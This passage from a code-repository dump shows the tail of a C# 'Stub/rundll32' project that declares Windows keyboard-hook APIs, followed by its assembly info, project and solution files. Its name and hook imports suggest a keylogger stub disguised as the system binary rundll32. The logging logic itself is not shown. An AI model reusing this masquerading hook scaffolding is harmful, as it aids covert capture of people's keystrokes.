hMod, uint dwThreadId); 204 | [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] 205 | [return: MarshalAs(UnmanagedType.Bool)] 206 | private static extern bool UnhookWindowsHookEx(IntPtr hhk); 207 | [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] 208 | private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam); 209 | [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] 210 | private static extern IntPtr GetModuleHandle(string lpModuleName); 211 | } 212 | } -------------------------------------------------------------------------------- /Stub/rundll32/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("rundll32")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("rundll32")] 13 | [assembly: AssemblyCopyright("Copyright © 2017")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("f439de6c-515d-4ae1-82c8-6255cc7a7cb6")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /Stub/rundll32/rundll32.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {F439DE6C-515D-4AE1-82C8-6255CC7A7CB6} 8 | WinExe 9 | rundll32 10 | rundll32 11 | v2.0 12 | 512 13 | true 14 | false 15 | C:\Users\Jedrek\Documents\ 16 | true 17 | Disk 18 | false 19 | Foreground 20 | 7 21 | Days 22 | false 23 | false 24 | true 25 | 1 26 | 1.0.0.%2a 27 | false 28 | true 29 | true 30 | 31 | 32 | 33 | AnyCPU 34 | true 35 | full 36 | false 37 | bin\Debug\ 38 | DEBUG;TRACE 39 | prompt 40 | 4 41 | 42 | 43 | AnyCPU 44 | pdbonly 45 | true 46 | bin\Release\ 47 | TRACE 48 | prompt 49 | 4 50 | 51 | 52 | 53 | 54 | 55 | 1308086155B9EA81CC92B5300857B1FB5479E9E7 56 | 57 | 58 | rundll32_TemporaryKey.pfx 59 | 60 | 61 | true 62 | 63 | 64 | true 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | False 83 | Microsoft .NET Framework 4.5.2 %28x86 and x64%29 84 | true 85 | 86 | 87 | False 88 | .NET Framework 3.5 SP1 89 | false 90 | 91 | 92 | 93 | -------------------------------------------------------------------------------- /Stub/rundll32/rundll32.csproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | en-US 11 | false 12 | 13 | 14 | false 15 | 16 | -------------------------------------------------------------------------------- /Stub/rundll32/rundll32.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 11.00 3 | # Visual Studio 2010 4 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "rundll32", "rundll32.csproj", "{F439DE6C-515D-4AE1-82C8-6255CC7A7CB6}" 5 | EndProject 6 | Global 7 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 8 | Debug|Any CPU = Debug|Any CPU 9 | Release|Any CPU = Release|Any CPU 10 | EndGlobalSection 11 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 12 | {F439DE6C-515D-4AE1-82C8-6255CC7A7CB6}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 13 | {F439DE6C-515D-4AE1-82C8-6255CC7A7CB6}.Debug|Any CPU.Build.0 = Debug|Any CPU 14 | {F439DE6C-515D-4AE1-82C8-6255CC7A7CB6}.Release|Any CPU.ActiveCfg = Release|Any CPU 15 | {F439DE6C-515D-4AE1-82C8-6255CC7A7CB6}.Release|Any CPU.Build.0 = Release|Any CPU 16 | EndGlobalSection 17 | GlobalSection(SolutionProperties) = preSolution 18 | HideSolutionNode = FALSE 19 | EndGlobalSection 20 | EndGlobal 21 | -------------------------------------------------------------------------------- /Stub/rundll32/rundll32.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParsingTeam/Plog/40aa53f95b251ab3b95fe0e721cbe5ac752d00db/Stub/rundll32/rundll32.suo --------------------------------------------------------------------------------